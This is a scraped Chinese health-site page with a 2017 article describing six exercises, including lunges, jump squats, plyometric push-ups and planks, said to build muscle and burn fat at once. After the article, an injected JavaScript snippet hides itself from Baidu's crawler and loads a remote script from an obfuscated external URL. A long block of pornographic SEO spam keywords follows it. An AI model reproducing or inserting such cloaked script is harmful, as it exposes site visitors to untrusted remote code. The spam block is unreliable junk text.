當前位置:首頁 > 減肥 > 運動減肥 > 正文

六個健身動作 增肌減脂同時進行

2017-01-15 23:16:01  來源:360常識網   熱度:
導語:很多人在進行運動時,很希望可以同時達到增肌和減脂兩項目標,這樣既可以將身體的贅肉減掉,又可以練出一個好身材。那么真的有這樣的方法嗎

很多人在進行運動時,很希望可以同時達到增肌和減脂兩項目標,這樣既可以將身體的贅肉減掉,又可以練出一個好身材。那么真的有這樣的方法嗎?

一: 單腳弓箭步

1: 1、右腳站穩地面,左腳往上抬至大腿與地面平行,手臂彎曲,且右手在前、左手在后,呈現自然擺動狀態,為預備動作。2、右腳微彎身體下壓,左腿向后側踢;雙手變成左手在前、右手在后,可鍛煉右腳肌群,重復做15回后再換邊操作15回。

二: 高沖擊跳躍

1: 1、站姿,手腿打開與肩同寬,雙手伸直與地面平行為預備動作。2、大腿向下蹲,感覺臀部往后方坐,雙手則往后側擺動。3、用力往上跳躍,雙手則往天空處伸直,再回到步驟2重復跳躍動作約15次。

三: 跪姿超人式

1: 1、四肢采跪姿,雙手雙腳與肩同寬,背部打直呈一直線。2、舉起對側手腳與地平行,腹部出力,髖部不歪斜才能正確鍛煉核心,反覆做15下再換邊。

四: 高沖擊伏地挺身

1: 1、雙眼直視地面,肩胛骨后收、手臂夾緊,腳尖點地。2、雙臂撐起呈一直線再下壓,不碰地,如做伏地挺身。3、以雙掌下推地面的力量讓雙手騰空,再回步驟2重復15次。

五: 棒式肘伸

1: 1、雙手、雙腳與肩同寬,前臂撐于地面且呈90度,腳尖點地,將身體抬離地面。身體軀干、臀部與雙腿盡量呈一直線,眼睛直視地面。2、手臂出力向上伸直,使手臂呈一直線,身體離開地面,距離加大,步驟1~2反覆操作15下。

六: 有氧訓練

1: 有氧訓練有助于減肥,但練得太多會妨礙健康,影響肌肉增長和新陳代謝。建議你每周只作三次有氧訓練。有氧訓練最好安排在早餐之前,因為你沒有吃東西,身體將不得不動用脂肪儲備來代替碳水化合物供能。此外,把你的無氧負重訓練控制在三十分鐘以內,用高強度訓練,以利消耗更多的碳水化合物。

七: 現在的人都希望自己的

材能比較好,擁有一定的肌肉,但是面對工作的時間,我們都不能很好的執行時間長的運動,以上這些動作在增肌減脂上有很好的效果。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产拍揄自揄精品视频| 国产精品久久久久久亚洲影视 | 久久福利青草精品资源站| 国产精品成人国产乱| 蜜臀久久99精品久久久久久小说| 四虎永久精品免费观看| 国产精品久久免费| 精品国产免费一区二区三区香蕉| 国产日韩精品一区二区在线观看| 亚洲精品不卡视频| 久久精品免费一区二区三区| 国产伦精品一区二区三区精品| 精品卡一卡二卡乱码高清| 亚洲精品乱码久久久久66| www久久只有这里有精品| 亚洲精品人成网线在线播放va| 精品亚洲成A人在线观看青青| 久久精品国产亚洲精品2020| 国语自产偷拍精品视频偷蜜芽| 日韩在线视精品在亚洲| 亚洲国产日韩精品| 久久婷婷国产综合精品| 国产精品无码日韩欧| 亚洲精品无码99在线观看 | 2022久久国产精品免费热麻豆| 三级精品视频在线播放| 一本之道av不卡精品| 国产精品熟女视频一区二区| 精品福利视频导航| 久久久精品人妻一区二区三区蜜桃| 538prom精品视频线放| 久久精品免费网站网| 亚洲国产成人精品女人久久久 | 亚洲精品视频免费| 国产精品jvid在线观看| 精品国产自在久久| 国产成人午夜精品一区二区三区| 国产va精品免费观看| 国产午夜亚洲精品| 国产亚洲精品成人AA片| 午夜精品久久久久久影视riav|